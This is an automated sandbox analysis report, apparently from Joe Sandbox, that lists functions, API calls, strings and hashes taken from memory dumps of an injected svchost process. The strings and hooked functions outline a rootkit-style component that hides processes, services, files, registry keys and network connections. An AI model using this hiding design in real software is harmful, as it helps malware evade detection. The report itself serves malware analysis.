Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 15f96c7993330800901423ecee5f9673b24142775bcc2ce8a9715945b3205e8b
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 12318072215F8086DBA0CF25E940BDE73E8F78A764F541126EA9E43BA9DF78C545CB00

Function 0000014E25ED1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000014E25ED1633
HeapAlloc.KERNEL32 ref: 0000014E25ED1642

Part of subcall function 0000014E25ED1268: GetProcessHeap.KERNEL32 ref: 0000014E25ED126E
Part of subcall function 0000014E25ED1268: HeapAlloc.KERNEL32 ref: 0000014E25ED127D
Part of subcall function 0000014E25ED1268: GetProcessHeap.KERNEL32 ref: 0000014E25ED1297
Part of subcall function 0000014E25ED1268: HeapAlloc.KERNEL32 ref: 0000014E25ED12A8

RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED16B2
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED16DF
RegCloseKey.ADVAPI32 ref: 0000014E25ED16F9
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1719
RegCloseKey.ADVAPI32 ref: 0000014E25ED1734
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1754
RegCloseKey.ADVAPI32 ref: 0000014E25ED176F
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED178F
RegCloseKey.ADVAPI32 ref: 0000014E25ED17AA
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED17CA
RegCloseKey.ADVAPI32 ref: 0000014E25ED17E5
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1805
RegCloseKey.ADVAPI32 ref: 0000014E25ED1820
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1840
RegCloseKey.ADVAPI32 ref: 0000014E25ED185B
RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED187B
RegCloseKey.ADVAPI32 ref: 0000014E25ED1896
RegCloseKey.ADVAPI32 ref: 0000014E25ED18A0

Part of subcall function 0000014E25ED12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000014E25ED1319
Part of subcall function 0000014E25ED12BC: GetProcessHeap.KERNEL32 ref: 0000014E25ED1327
Part of subcall function 0000014E25ED12BC: HeapAlloc.KERNEL32 ref: 0000014E25ED1338
Part of subcall function 0000014E25ED12BC: RegEnumValueW.ADVAPI32 ref: 0000014E25ED1397
Part of subcall function 0000014E25ED12BC: GetProcessHeap.KERNEL32 ref: 0000014E25ED13DF
Part of subcall function 0000014E25ED12BC: HeapAlloc.KERNEL32 ref: 0000014E25ED13ED
Part of subcall function 0000014E25ED12BC: GetProcessHeap.KERNEL32 ref: 0000014E25ED140A
Part of subcall function 0000014E25ED12BC: HeapFree.KERNEL32 ref: 0000014E25ED1418
Part of subcall function 0000014E25ED12BC: lstrlenW.KERNEL32 ref: 0000014E25ED1421
Part of subcall function 0000014E25ED12BC: GetProcessHeap.KERNEL32 ref: 0000014E25ED142F
Part of subcall function 0000014E25ED12BC: HeapAlloc.KERNEL32 ref: 0000014E25ED143D

Strings

SOFTWARE\dialerconfig, xrefs: 0000014E25ED1692
startup, xrefs: 0000014E25ED16D5
udp, xrefs: 0000014E25ED1874
paths, xrefs: 0000014E25ED1788
tcp_local, xrefs: 0000014E25ED17FE
process_names, xrefs: 0000014E25ED174D
pid, xrefs: 0000014E25ED1712
tcp_remote, xrefs: 0000014E25ED1839
service_names, xrefs: 0000014E25ED17C3

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c1bc9262416f542b9bcf67935fbe76358c1d3776086d0358d464ba4c20ede195
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 32713A76721A1086EBA09F61EA80ADD23EDFB89B98F002115DE4F47B39DFB8C544C340

Function 0000014E25ED12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000014E25ED1319
GetProcessHeap.KERNEL32 ref: 0000014E25ED1327
HeapAlloc.KERNEL32 ref: 0000014E25ED1338
RegEnumValueW.ADVAPI32 ref: 0000014E25ED1397

Part of subcall function 0000014E25ED152C: StrCmpIW.SHLWAPI ref: 0000014E25ED155D

GetProcessHeap.KERNEL32 ref: 0000014E25ED13DF
HeapAlloc.KERNEL32 ref: 0000014E25ED13ED
GetProcessHeap.KERNEL32 ref: 0000014E25ED140A
HeapFree.KERNEL32 ref: 0000014E25ED1418
lstrlenW.KERNEL32 ref: 0000014E25ED1421
GetProcessHeap.KERNEL32 ref: 0000014E25ED142F
HeapAlloc.KERNEL32 ref: 0000014E25ED143D
StrCpyW.SHLWAPI ref: 0000014E25ED145F
GetProcessHeap.KERNEL32 ref: 0000014E25ED1476
HeapFree.KERNEL32 ref: 0000014E25ED1484

Strings

d, xrefs: 0000014E25ED135A

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 7a8f22d71641694a9fd7ec0762583f57e8a0a7c965321d3c74b055877a6cee4e
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: F0516C72211B8486EB95CF62FA487AA77E9F389BE9F144124DA4A0772ADF7CC045C700

Function 0000014E25ED1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000014E25ED1D1F

Part of subcall function 0000014E25ED1FD4: GetModuleHandleA.KERNEL32 ref: 0000014E25ED1FEC
Part of subcall function 0000014E25ED1FD4: GetProcAddress.KERNEL32 ref: 0000014E25ED1FFD

Part of subcall function 0000014E25ED5B30: GetCurrentThreadId.KERNEL32 ref: 0000014E25ED5B6B

Strings

advapi32.dll, xrefs: 0000014E25ED1DF7, 0000014E25ED1E18
ntdll.dll, xrefs: 0000014E25ED1D2D
NtEnumerateKey, xrefs: 0000014E25ED1DB9
EnumServicesStatusExW, xrefs: 0000014E25ED1E11, 0000014E25ED1E32
NtQueryDirectoryFile, xrefs: 0000014E25ED1D7F
sechost.dll, xrefs: 0000014E25ED1E39
NtEnumerateValueKey, xrefs: 0000014E25ED1DD6
NtQuerySystemInformation, xrefs: 0000014E25ED1D45
NtQueryDirectoryFileEx, xrefs: 0000014E25ED1D9C
EnumServiceGroupW, xrefs: 0000014E25ED1DF0
NtResumeThread, xrefs: 0000014E25ED1D62
NtDeviceIoControlFile, xrefs: 0000014E25ED1E56

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 8747b8a499e9052df40478483ed6c278368860711bb81c5df639d3b7e26418f2
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 7031067462295AA0EB84EF65EF51FD863EEBB05358FD06017940B12176AFF8C249C390

Function 0000014E255D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000014E255D6938
__scrt_acquire_startup_lock.LIBCMT ref: 0000014E255D698A
_RTC_Initialize.LIBCMT ref: 0000014E255D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000014E255D69DE
__scrt_release_startup_lock.LIBCMT ref: 0000014E255D6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 0000014E255D69EE
`eh vector copy constructor iterator', xrefs: 0000014E255D6A3B
`dynamic initializer for ', xrefs: 0000014E255D69C7
scriptor', xrefs: 0000014E255D6B39, 0000014E255D6BB2, 0000014E255D6BEC

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 2332f7615c00a9b45a6cd8c5de408ca84be1c3b81a06dd6493736303431c435b
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 9681D333E8264386FA509B659E41BD963DDFB87780F6880159A4B877B6DBFCC8478700

Function 0000014E25EDCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000014E25EDCE37
FlsGetValue.KERNEL32(?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCE4C
FlsSetValue.KERNEL32(?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCE6D
FlsSetValue.KERNEL32(?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCE9A
FlsSetValue.KERNEL32(?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCEAB
FlsSetValue.KERNEL32(?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCEBC
SetLastError.KERNEL32 ref: 0000014E25EDCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCF0D
FlsSetValue.KERNEL32(?,?,00000001,0000014E25EDECCC,?,?,?,?,0000014E25EDBF9F,?,?,?,?,?,0000014E25ED7AB0), ref: 0000014E25EDCF2C

Part of subcall function 0000014E25EDD6CC: HeapAlloc.KERNEL32 ref: 0000014E25EDD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCF54

Part of subcall function 0000014E25EDD744: HeapFree.KERNEL32 ref: 0000014E25EDD75A
Part of subcall function 0000014E25EDD744: GetLastError.KERNEL32 ref: 0000014E25EDD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E25EE0A6B,?,?,?,0000014E25EE045C,?,?,?,0000014E25EDC84F), ref: 0000014E25EDCF76

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 0e38215d1457e59afe65eb01ec79511c82aee5c2ce1e14f3d06b2e4fe1cd1a9d
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 69416F7025324485FAE9A7359F51BF962CEBB877F0F142B24A83B466F6DEE984014341

Function 0000014E25ED2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000014E25ED2259
GetCurrentProcessId.KERNEL32 ref: 0000014E25ED2263

Part of subcall function 0000014E25ED1934: OpenProcess.KERNEL32 ref: 0000014E25ED1952
Part of subcall function 0000014E25ED1934: IsWow64Process.KERNEL32 ref: 0000014E25ED1968
Part of subcall function 0000014E25ED1934: CloseHandle.KERNEL32 ref: 0000014E25ED1983

CreateFileW.KERNEL32 ref: 0000014E25ED22BC
WriteFile.KERNEL32 ref: 0000014E25ED22E4
ReadFile.KERNEL32 ref: 0000014E25ED2303
CloseHandle.KERNEL32 ref: 0000014E25ED230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 0000014E25ED2293
\\.\pipe\dialerchildproc64, xrefs: 0000014E25ED228C

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: f3f1b66307ed9429f7177bedba5dbcb25a8199bf3a3daf748d0c8febe8376095
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 5321307262475082EB50CB25FA4479963E8F7897A4F500215DA5A02BB9CFBCC549CB00

Function 0000014E25EDA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014E25EDA5A1

Part of subcall function 0000014E25EDB414: __GetUnwindTryBlock.LIBCMT ref: 0000014E25EDB457
Part of subcall function 0000014E25EDB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014E25EDB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014E25EDA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014E25EDA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014E25EDA9DA

Strings

csm, xrefs: 0000014E25EDA5BB
csm, xrefs: 0000014E25EDA69C
csm, xrefs: 0000014E25EDA622

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: dc5baa9e4900bccee7b18694ed6ad8fc180f2675819547d15587c8c5e04f39b1
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 7FE1D472606B408AEBA0DF65DE40BDD77ECF756B98F102115EE8A57BA9CB78C181C700

Function 0000014E255D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014E255D99A1

Part of subcall function 0000014E255DA814: __GetUnwindTryBlock.LIBCMT ref: 0000014E255DA857
Part of subcall function 0000014E255DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014E255DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014E255D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014E255D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014E255D9DDA

Strings

csm, xrefs: 0000014E255D9A9C
csm, xrefs: 0000014E255D99BB
csm, xrefs: 0000014E255D9A22

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: b2a34a7c217fcdebc7505ea3e7ea67a3eaa2ec335367fa87b754eea6f7af43be
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: CDE1E573A46B4286EB60DF65DA80BDD77F8F756B98F000115EE4A57BA9CB78C091C700

Function 0000014E25EDF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000014E25EDF510
GetProcAddress.KERNEL32 ref: 0000014E25EDF51C

Strings

api-ms-, xrefs: 0000014E25EDF45A
ext-ms-, xrefs: 0000014E25EDF46D

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 22fee92a7b634e20b8207f9d96fbe19373ab9512f5f1e434ffbaebbadbf46c39
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: BA41C432322A1051EA96CF16AE00FE923DDBB46BE0F196129DD1F877A5EEB8C4458301

Function 0000014E25ED104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000014E25ED10B1
RegEnumValueW.ADVAPI32 ref: 0000014E25ED1117
GetProcessHeap.KERNEL32 ref: 0000014E25ED115A
HeapAlloc.KERNEL32 ref: 0000014E25ED1168
GetProcessHeap.KERNEL32 ref: 0000014E25ED1185
HeapFree.KERNEL32 ref: 0000014E25ED1193

Strings

d, xrefs: 0000014E25ED10D6

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: d53801182b1a1fddabf9b2cb97fa914ecb6b5c17acb5066caa3a10faa4a8568e
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: DE418073214B84C6E7A4CF21E94479E77E9F389B98F148129DB8A07B68DF78C549CB00

Function 0000014E25EDD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,0000014E25EDC7DE,?,?,?,?,?,?,?,?,0000014E25EDCF9D,?,?,00000001), ref: 0000014E25EDD087
FlsSetValue.KERNEL32(?,?,?,0000014E25EDC7DE,?,?,?,?,?,?,?,?,0000014E25EDCF9D,?,?,00000001), ref: 0000014E25EDD0A6
FlsSetValue.KERNEL32(?,?,?,0000014E25EDC7DE,?,?,?,?,?,?,?,?,0000014E25EDCF9D,?,?,00000001), ref: 0000014E25EDD0CE
FlsSetValue.KERNEL32(?,?,?,0000014E25EDC7DE,?,?,?,?,?,?,?,?,0000014E25EDCF9D,?,?,00000001), ref: 0000014E25EDD0DF
FlsSetValue.KERNEL32(?,?,?,0000014E25EDC7DE,?,?,?,?,?,?,?,?,0000014E25EDCF9D,?,?,00000001), ref: 0000014E25EDD0F0

Strings

Y%, xrefs: 0000014E25EDD0A6
1%, xrefs: 0000014E25EDD0CE

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 67d499ed1cae324e52016772c9b3e2eb920b02c753671c71406fddec84103b65
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 0511633070664441FAE89B359F51BED62CEBB877F0F546324983B066FADEE9C8028301

Function 0000014E25ED7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000014E25ED7538
__scrt_acquire_startup_lock.LIBCMT ref: 0000014E25ED758A
_RTC_Initialize.LIBCMT ref: 0000014E25ED75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000014E25ED75DE
__scrt_release_startup_lock.LIBCMT ref: 0000014E25ED7609

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: eec92c873ab8a8532cd6d95de1f2b50f3b3f0ee532591f7514190b140d4d18b8
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 20811E71A1224186FBD0AB25AE43FD922DDBB87780F146425AA4B437F7EBF9C841C700

Function 0000014E25ED9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000014E25ED9E49
GetLastError.KERNEL32 ref: 0000014E25ED9E57
LoadLibraryExW.KERNEL32 ref: 0000014E25ED9E81
FreeLibrary.KERNEL32 ref: 0000014E25ED9EC7
GetProcAddress.KERNEL32 ref: 0000014E25ED9ED3

Strings

api-ms-, xrefs: 0000014E25ED9E69

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 4b673a47d5b222b7fe4c6400c13b60ea41fad0e13ee299185a4e4a279635b7ed
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 4731C731313640E1EEA2DB42AE00FE962DCB759BB0F5916259D1F8B3B5EFB9C5458300

Function 0000014E25EE3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000014E25EE3DE5
GetLastError.KERNEL32 ref: 0000014E25EE3DF1
CloseHandle.KERNEL32 ref: 0000014E25EE3E09
CreateFileW.KERNEL32 ref: 0000014E25EE3E34
WriteConsoleW.KERNEL32 ref: 0000014E25EE3E53

Strings

CONOUT$, xrefs: 0000014E25EE3E15

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: dac870ae50dc774142f57e224bcde91fef96868b3a026d0ca4bce480cb7abb85
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: D6115E31220B4086E7A18B52F944B5976E8F788FF4F144214EA5F877B5DFB8C5148740

Function 0000014E25ED3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000014E25ED379E
GetCurrentProcess.KERNEL32 ref: 0000014E25ED37CC
VirtualProtectEx.KERNEL32 ref: 0000014E25ED37EE
GetCurrentProcess.KERNEL32 ref: 0000014E25ED3809
VirtualProtectEx.KERNEL32 ref: 0000014E25ED382A

Strings

wr, xrefs: 0000014E25ED37FF

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 2d2ae68968ed466a8bd9f8edaa945d4ff509ed3e6404d4b55c90d98096d8e2c2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 58118E7A321B4082EF949B11F904AA9B3E8F789B94F140028DE8A037A5EF7DC505C704

Function 0000014E25ED5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014E25ED5B6B
GetThreadContext.KERNEL32 ref: 0000014E25ED5CD5

Part of subcall function 0000014E25ED5960: GetCurrentThreadId.KERNEL32 ref: 0000014E25ED5964

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
